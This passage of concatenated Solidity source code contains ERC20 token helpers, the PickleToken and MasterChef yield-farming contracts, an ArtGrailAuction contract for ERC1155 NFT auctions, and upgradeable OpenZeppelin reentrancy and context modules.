* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/PickleToken.sol
pragma solidity 0.6.12;
// PickleToken with Governance.
contract PickleToken is ERC20("PickleToken", "PICKLE"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
// File: contracts/curve/ICurveFiCurve.sol
pragma solidity ^0.6.12;
interface ICurveFiCurve {
// All we care about is the ratio of each coin
function balances(int128 arg0) external returns (uint256 out);
}
// File: contracts/MasterChef.sol
pragma solidity 0.6.12;
// MasterChef was the master of pickle. He now governs over PICKLES. He can make Pickles and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once PICKLES is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of PICKLEs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accPicklePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accPicklePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. PICKLEs to distribute per block.
uint256 lastRewardBlock; // Last block number that PICKLEs distribution occurs.
uint256 accPicklePerShare; // Accumulated PICKLEs per share, times 1e12. See below.
}
// The PICKLE TOKEN!
PickleToken public pickle;
// Dev fund (2%, initially)
uint256 public devFundDivRate = 50;
// Dev address.
address public devaddr;
// Block number when bonus PICKLE period ends.
uint256 public bonusEndBlock;
// PICKLE tokens created per block.
uint256 public picklePerBlock;
// Bonus muliplier for early pickle makers.
uint256 public constant BONUS_MULTIPLIER = 10;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when PICKLE mining starts.
uint256 public startBlock;
// Events
event Recovered(address token, uint256 amount);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
constructor(
PickleToken _pickle,
address _devaddr,
uint256 _picklePerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
pickle = _pickle;
devaddr = _devaddr;
picklePerBlock = _picklePerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(
uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock
? block.number
: startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accPicklePerShare: 0
})
);
}
// Update the given pool's PICKLE allocation point. Can only be called by the owner.
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return
bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending PICKLEs on frontend.
function pendingPickle(uint256 _pid, address _user)
external
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPicklePerShare = pool.accPicklePerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(
pool.lastRewardBlock,
block.number
);
uint256 pickleReward = multiplier
.mul(picklePerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
accPicklePerShare = accPicklePerShare.add(
pickleReward.mul(1e12).div(lpSupply)
);
}
return
user.amount.mul(accPicklePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 pickleReward = multiplier
.mul(picklePerBlock)
.mul(pool.allocPoint)
.div(totalAllocPoint);
pickle.mint(devaddr, pickleReward.div(devFundDivRate));
pickle.mint(address(this), pickleReward);
pool.accPicklePerShare = pool.accPicklePerShare.add(
pickleReward.mul(1e12).div(lpSupply)
);
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for PICKLE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accPicklePerShare)
.div(1e12)
.sub(user.rewardDebt);
safePickleTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accPicklePerShare).div(1e12).sub(
user.rewardDebt
);
safePickleTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe pickle transfer function, just in case if rounding error causes pool to not have enough PICKLEs.
function safePickleTransfer(address _to, uint256 _amount) internal {
uint256 pickleBal = pickle.balanceOf(address(this));
if (_amount > pickleBal) {
pickle.transfer(_to, pickleBal);
} else {
pickle.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
// **** Additional functions separate from the original masterchef contract ****
function setPicklePerBlock(uint256 _picklePerBlock) public onlyOwner {
require(_picklePerBlock > 0, "!picklePerBlock-0");
picklePerBlock = _picklePerBlock;
}
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {
bonusEndBlock = _bonusEndBlock;
}
function setDevFundDivRate(uint256 _devFundDivRate) public onlyOwner {
require(_devFundDivRate > 0, "!devFundDivRate-0");
devFundDivRate = _devFundDivRate;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "./interface/IArtGrailNFT.sol";
contract ArtGrailAuction is Initializable, ReentrancyGuardUpgradeable, OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address payable;
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @notice Event emitted only on construction. To be used by indexers
event ArtGrailAuctionContractDeployed();
event PauseToggled(bool isPaused);
event AuctionCreated(address indexed nftAddress, uint256 indexed tokenId, address owner, uint256 quantity,
uint256 reservePrice, uint256 startTimestamp, uint256 endTimestamp);
event UpdateAuctionReservePrice(address indexed nftAddress, uint256 indexed tokenId, uint256 reservePrice);
event UpdatePlatformFee(uint256 platformFee);
event UpdatePlatformRoyalty(uint256 platformRoyalty);
event UpdatePlatformFeeRecipient(address payable platformFeeRecipient);
event UpdateMinBidIncrement(uint256 minBidIncrement);
event UpdateBidWithdrawalLockTime(uint256 bidWithdrawalLockTime);
event BidPlaced(address indexed nftAddress, uint256 indexed tokenId, address indexed bidder, uint256 bid);
event BidWithdrawn(address indexed nftAddress, uint256 indexed tokenId, address indexed bidder, uint256 bid);
event BidRefunded(address indexed bidder, uint256 bid);
event AuctionResulted(address indexed nftAddress, uint256 indexed tokenId, address indexed winner, uint256 winningBid);
event AuctionCancelled(address indexed nftAddress, uint256 indexed tokenId);
/// @notice Parameters of an auction
struct Auction {
address owner;
uint256 quantity;
uint256 reservePrice;
uint256 startTime;
uint256 endTime;
bool resulted;
}
/// @notice Information about the sender that placed a bit on an auction
struct HighestBid {
address payable bidder;
uint256 bid;
uint256 lastBidTime;
}
/// @notice ERC1155 Address -> Token ID -> Auction Parameters
mapping(address => mapping(uint256 => Auction)) public auctions;
/// @notice ERC1155 Address -> Token ID -> highest bidder info (if a bid has been received)
mapping(address => mapping(uint256 => HighestBid)) public highestBids;
/// @notice globally and across all auctions, the amount by which a bid has to increase
uint256 public minBidIncrement;
/// @notice global bid withdrawal lock time
uint256 public bidWithdrawalLockTime;
/// @notice global platform fee, assumed to always be to 1 decimal place i.e. 120 = 12.0%
uint256 public platformFee;
/// @notice royalty percentage
uint256 public platformRoyalty;
/// @notice where to send platform fee funds to
address payable public platformFeeRecipient;
/// @notice for switching off auction creations, bids and withdrawals
bool public isPaused;
modifier whenNotPaused() {
require(!isPaused, "Function is currently paused");
_;
}
// Initializer instead of constructor
function __ArtGrailAuction_init(address payable _feeRecipient) public initializer {
// ReentrancyGuardUpgradeable
__ReentrancyGuard_init_unchained();
// OwnableUpgradeable
__Context_init_unchained();
// OwnableUpgradeable
__Ownable_init_unchained();
require(_feeRecipient != address(0), "ArtGrailAuction: Invalid Platform Fee Recipient");
platformFeeRecipient = _feeRecipient;
minBidIncrement = 0.05 ether;
bidWithdrawalLockTime = 20 minutes;
platformFee = 25;
platformRoyalty = 100;
emit ArtGrailAuctionContractDeployed();
}
/**
@notice Creates a new auction for a given item
@dev Only the owner of item can create an auction and must have approved the contract
@dev In addition to owning the item, the sender also has to have the MINTER role.
@dev End time for the auction must be in the future.
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the item being auctioned
@param _reservePrice Item cannot be sold for less than this or minBidIncrement, whichever is higher
@param _startTimestamp Unix epoch in seconds for the auction start time
@param _endTimestamp Unix epoch in seconds for the auction end time.
*/
function createAuction(
address _nftAddress,
uint256 _tokenId,
uint256 _quantity,
uint256 _reservePrice,
uint256 _startTimestamp,
uint256 _endTimestamp
) external whenNotPaused {
// Ensure this contract is approved to move the token
require(
IERC1155Upgradeable(_nftAddress).isApprovedForAll(_msgSender(), address(this)),
"ArtGrailAuction.createAuction: Contract is not approved"
);
require(
IERC1155Upgradeable(_nftAddress).balanceOf(_msgSender(), _tokenId) >= _quantity,
"ArtGrailAuction.createAuction: Your balance does not match quantity"
);
_createAuction(_nftAddress, _tokenId, _quantity, _reservePrice, _startTimestamp, _endTimestamp);
}
/**
@notice Places a new bid, out bidding the existing bidder if found and criteria is reached
@dev Only callable when the auction is open
@dev Bids from smart contracts are prohibited to prevent griefing with always reverting receiver
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the item being auctioned
*/
function placeBid(address _nftAddress, uint256 _tokenId) external payable nonReentrant whenNotPaused {
require(_msgSender().isContract() == false, "ArtGrailAuction.placeBid: No contracts permitted");
// Check the auction to see if this is a valid bid
Auction storage auction = auctions[_nftAddress][_tokenId];
// Ensure auction is in flight
require(_getNow() >= auction.startTime && _getNow() <= auction.endTime, "ArtGrailAuction.placeBid: Bidding outside of the auction window");
uint256 bidAmount = msg.value;
// Ensure bid adheres to outbid increment and threshold
HighestBid storage highestBid = highestBids[_nftAddress][_tokenId];
uint256 minBidRequired = highestBid.bid.add(minBidIncrement);
require(bidAmount >= minBidRequired, "ArtGrailAuction.placeBid: Failed to outbid highest bidder");
// Ensure bidAmount is higher than reserved price
require(bidAmount >= auction.reservePrice, "ArtGrailAuction.placeBid: Reserved price is not reached");
// Refund existing top bidder if found
if (highestBid.bidder != address(0)) {
_refundHighestBidder(highestBid.bidder, highestBid.bid);
}
// assign top bidder and bid time
highestBid.bidder = _msgSender();
highestBid.bid = bidAmount;
highestBid.lastBidTime = _getNow();
emit BidPlaced(_nftAddress, _tokenId, _msgSender(), bidAmount);
}
/**
@notice Given a sender who has the highest bid on a item, allows them to withdraw their bid
@dev Only callable by the existing top bidder
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the item being auctioned
*/
function withdrawBid(address _nftAddress, uint256 _tokenId) external nonReentrant whenNotPaused {
HighestBid storage highestBid = highestBids[_nftAddress][_tokenId];
// Ensure highest bidder is the caller
require(highestBid.bidder == _msgSender(), "ArtGrailAuction.withdrawBid: You are not the highest bidder");
// Check withdrawal after delay time
require(_getNow() >= highestBid.lastBidTime.add(bidWithdrawalLockTime), "ArtGrailAuction.withdrawBid: Cannot withdraw until lock time has passed");
require(_getNow() < auctions[_nftAddress][_tokenId].endTime, "ArtGrailAuction.withdrawBid: Past auction end");
uint256 previousBid = highestBid.bid;
// Clean up the existing top bid
delete highestBids[_nftAddress][_tokenId];
// Refund the top bidder
_refundHighestBidder(_msgSender(), previousBid);
emit BidWithdrawn(_nftAddress, _tokenId, _msgSender(), previousBid);
}
//////////
// Owner /
//////////
/**
@notice Results a finished auction
@dev Only admin or smart contract
@dev Auction can only be resulted if there has been a bidder and reserve met.
@dev If there have been no bids, the auction needs to be cancelled instead using `cancelAuction()`
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the item being auctioned
*/
function resultAuction(address _nftAddress, uint256 _tokenId) external nonReentrant {
// Check the auction to see if it can be resulted
Auction storage auction = auctions[_nftAddress][_tokenId];
require(IERC1155Upgradeable(_nftAddress).balanceOf(_msgSender(), _tokenId) >= auction.quantity && _msgSender() == auction.owner, "ArtGrailAuction.resultAuction: Sender must be item owner");
// Check the auction real
require(auction.endTime > 0, "ArtGrailAuction.resultAuction: Auction does not exist");
// Check the auction has ended
require(_getNow() > auction.endTime, "ArtGrailAuction.resultAuction: The auction has not ended");
// Ensure auction not already resulted
require(!auction.resulted, "ArtGrailAuction.resultAuction: auction already resulted");
// Ensure this contract is approved to move the token
require(IERC1155Upgradeable(_nftAddress).isApprovedForAll(_msgSender(), address(this)), "ArtGrailAuction.resultAuction: auction not approved");
// Get info on who the highest bidder is
HighestBid storage highestBid = highestBids[_nftAddress][_tokenId];
address winner = highestBid.bidder;
uint256 winningBid = highestBid.bid;
// Ensure auction not already resulted
require(winningBid >= auction.reservePrice, "ArtGrailAuction.resultAuction: reserve not reached");
// Ensure there is a winner
require(winner != address(0), "ArtGrailAuction.resultAuction: no open bids");
// Result the auction
auction.resulted = true;
// Clean up the highest bid
delete highestBids[_nftAddress][_tokenId];
if (winningBid > auction.reservePrice) {
// Work out total above the reserve
uint256 aboveReservePrice = winningBid;
// Work out platform fee from above reserve amount
uint256 platformFeeAboveReserve = aboveReservePrice.mul(platformFee).div(1000);
// Send platform fee
(bool platformTransferSuccess, ) = platformFeeRecipient.call{ value: platformFeeAboveReserve }("");
require(platformTransferSuccess, "ArtGrailAuction.resultAuction: Failed to send platform fee");
uint256 platformRoyaltyAboveReserve = aboveReservePrice.mul(platformRoyalty).div(1000);
address[] memory creatorAddress = IArtGrailNFT(_nftAddress).getCreators(_tokenId);
// Send royality fee to creator
(bool royalityTransferSuccess, ) = creatorAddress[0].call{ value: platformRoyaltyAboveReserve }("");
require(royalityTransferSuccess, "ArtGrailAuction.resultAuction: Failed to send platform royalty");
// Send remaining to seller
(bool ownerTransferSuccess, ) = auction.owner.call{ value: winningBid.sub(platformFeeAboveReserve).sub(platformRoyaltyAboveReserve) }("");
require(ownerTransferSuccess, "ArtGrailAuction.resultAuction: Failed to send the owner their royalties");
} else {
(bool ownerTransferSuccess, ) = auction.owner.call{ value: winningBid }("");
require(ownerTransferSuccess, "ArtGrailAuction.resultAuction: Failed to send the owner their royalties");
}
// Transfer the token to the winner
IERC1155Upgradeable(_nftAddress).safeTransferFrom(auction.owner, winner, _tokenId, auction.quantity, "");
emit AuctionResulted(_nftAddress, _tokenId, winner, winningBid);
}
/**
@notice Cancels and inflight and un-resulted auctions, returning the funds to the top bidder if found
@dev Only item owner
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the NFT being auctioned
*/
function cancelAuction(address _nftAddress, uint256 _tokenId) external nonReentrant {
// Check valid and not resulted
Auction storage auction = auctions[_nftAddress][_tokenId];
require(IERC1155Upgradeable(_nftAddress).balanceOf(_msgSender(), _tokenId) > 0 && _msgSender() == auction.owner, "ArtGrailAuction.cancelAuction: Sender must be item owner");
// Check auction is real
require(auction.endTime > 0, "ArtGrailAuction.cancelAuction: Auction does not exist");
// Check auction not already resulted
require(!auction.resulted, "ArtGrailAuction.cancelAuction: auction already resulted");
// refund existing top bidder if found
HighestBid storage highestBid = highestBids[_nftAddress][_tokenId];
if (highestBid.bidder != address(0)) {
_refundHighestBidder(highestBid.bidder, highestBid.bid);
// Clear up highest bid
delete highestBids[_nftAddress][_tokenId];
}
// Remove auction and top bidder
delete auctions[_nftAddress][_tokenId];
emit AuctionCancelled(_nftAddress, _tokenId);
}
/**
@notice Update the current reserve price for an auction
@dev Only admin
@dev Auction must exist
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the NFT being auctioned
@param _reservePrice New Ether reserve price (WEI value)
*/
function updateAuctionReservePrice(
address _nftAddress,
uint256 _tokenId,
uint256 _reservePrice
) external {
Auction storage auction = auctions[_nftAddress][_tokenId];
require(_msgSender() == auction.owner, "ArtGrailAuction.updateAuctionReservePrice: Sender must be item owner");
require(auction.endTime > 0, "ArtGrailAuction.updateAuctionReservePrice: No Auction exists");
auction.reservePrice = _reservePrice;
emit UpdateAuctionReservePrice(_nftAddress, _tokenId, _reservePrice);
}
///////////////
// Accessors //
///////////////
/**
@notice Method for getting all info about the auction
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the NFT being auctioned
*/
function getAuction(address _nftAddress, uint256 _tokenId)
external
view
returns (
address _owner,
uint256 _reservePrice,
uint256 _startTime,
uint256 _endTime,
bool _resulted
)
{
Auction storage auction = auctions[_nftAddress][_tokenId];
return (auction.owner, auction.reservePrice, auction.startTime, auction.endTime, auction.resulted);
}
/**
@notice Method for getting all info about the highest bidder
@param _tokenId Token ID of the NFT being auctioned
*/
function getHighestBidder(address _nftAddress, uint256 _tokenId)
external
view
returns (
address payable _bidder,
uint256 _bid,
uint256 _lastBidTime
)
{
HighestBid storage highestBid = highestBids[_nftAddress][_tokenId];
return (highestBid.bidder, highestBid.bid, highestBid.lastBidTime);
}
/////////////////////////
// Internal and Private /
/////////////////////////
function _getNow() internal view virtual returns (uint256) {
return block.timestamp;
}
/**
@notice Private method doing the heavy lifting of creating an auction
@param _nftAddress ERC 1155 Address
@param _tokenId Token ID of the NFT being auctioned
@param _reservePrice Item cannot be sold for less than this or minBidIncrement, whichever is higher
@param _startTimestamp Unix epoch in seconds for the auction start time
@param _endTimestamp Unix epoch in seconds for the auction end time.
*/
function _createAuction(
address _nftAddress,
uint256 _tokenId,
uint256 _quantity,
uint256 _reservePrice,
uint256 _startTimestamp,
uint256 _endTimestamp
) private {
// Ensure a token cannot be re-listed if previously successfully sold
require(auctions[_nftAddress][_tokenId].endTime == 0, "ArtGrailAuction.createAuction: Cannot relist");
// Check end time not before start time and that end is in the future
require(_endTimestamp > _startTimestamp, "ArtGrailAuction.createAuction: End time must be greater than start");
require(_endTimestamp > _getNow(), "ArtGrailAuction.createAuction: End time passed. Nobody can bid.");
// Setup the auction
auctions[_nftAddress][_tokenId] = Auction({ owner: _msgSender(), reservePrice: _reservePrice, startTime: _startTimestamp, endTime: _endTimestamp, resulted: false, quantity: _quantity });
emit AuctionCreated(_nftAddress, _tokenId, _msgSender(), _quantity, _reservePrice, _startTimestamp, _endTimestamp);
}
/**
@notice Used for sending back escrowed funds from a previous bid
@param _currentHighestBidder Address of the last highest bidder
@param _currentHighestBid Ether or Mona amount in WEI that the bidder sent when placing their bid
*/
function _refundHighestBidder(address payable _currentHighestBidder, uint256 _currentHighestBid) private {
// refund previous best (if bid exists)
(bool successRefund, ) = _currentHighestBidder.call{ value: _currentHighestBid }("");
require(successRefund, "ArtGrailAuction._refundHighestBidder: failed to refund previous bidder");
emit BidRefunded(_currentHighestBidder, _currentHighestBid);
}
//////////
// Admin /
//////////
/**
@notice Toggling the pause flag
@dev Only admin
*/
function toggleIsPaused() external onlyOwner {
isPaused = !isPaused;
emit PauseToggled(isPaused);
}
/**
@notice Method for updating platform fee
@dev Only admin
@param _platformFee uint256 the platform fee to set
*/
function updatePlatformFee(uint256 _platformFee) external onlyOwner {
platformFee = _platformFee;
emit UpdatePlatformFee(_platformFee);
}
function updatePlatformRoyalty(uint256 _platformRoyalty) external onlyOwner {
platformRoyalty = _platformRoyalty;
emit UpdatePlatformRoyalty(_platformRoyalty);
}
/**
@notice Method for updating platform fee address
@dev Only admin
@param _platformFeeRecipient payable address the address to sends the funds to
*/
function updatePlatformFeeRecipient(address payable _platformFeeRecipient) external onlyOwner {
require(_platformFeeRecipient != address(0), "ArtGrailAuction.updatePlatformFeeRecipient: Zero address");
platformFeeRecipient = _platformFeeRecipient;
emit UpdatePlatformFeeRecipient(_platformFeeRecipient);
}
/**
@notice Update the amount by which bids have to increase, across all auctions
@dev Only admin
@param _minBidIncrement New bid step in WEI
*/
function updateMinBidIncrement(uint256 _minBidIncrement) external onlyOwner {
minBidIncrement = _minBidIncrement;
emit UpdateMinBidIncrement(_minBidIncrement);
}
/**
@notice Update the global bid withdrawal lockout time
@dev Only admin
@param _bidWithdrawalLockTime New bid withdrawal lock time
*/
function updateBidWithdrawalLockTime(uint256 _bidWithdrawalLockTime) external onlyOwner {
bidWithdrawalLockTime = _bidWithdrawalLockTime;
emit UpdateBidWithdrawalLockTime(_bidWithdrawalLockTime);
}
/**
* @notice Reclaims ERC20 Compatible tokens for entire balance
* @dev Only access controls admin
* @param _tokenContract The address of the token contract
*/
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0), "Invalid address");
IERC20Upgradeable token = IERC20Upgradeable(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(_msgSender(), balance), "Transfer failed");
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol";
interface IArtGrailNFT is IERC1155Upgradeable {
using SafeMathUpgradeable for uint256;
event Minted(
uint256 tokenId,
address beneficiary,
string tokenUri,
address minter
);
function getCreators(uint256 _id) external view returns (address[] memory);
function primarySalePrice(uint256 tokenId) external view returns (uint256);
function mint(address _beneficiary, string calldata _tokenUri) external;
function burn(uint256 _tokenId) external;
function exists(uint256 _tokenId) external;
function isApproved(uint256 _tokenId, address _operator) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
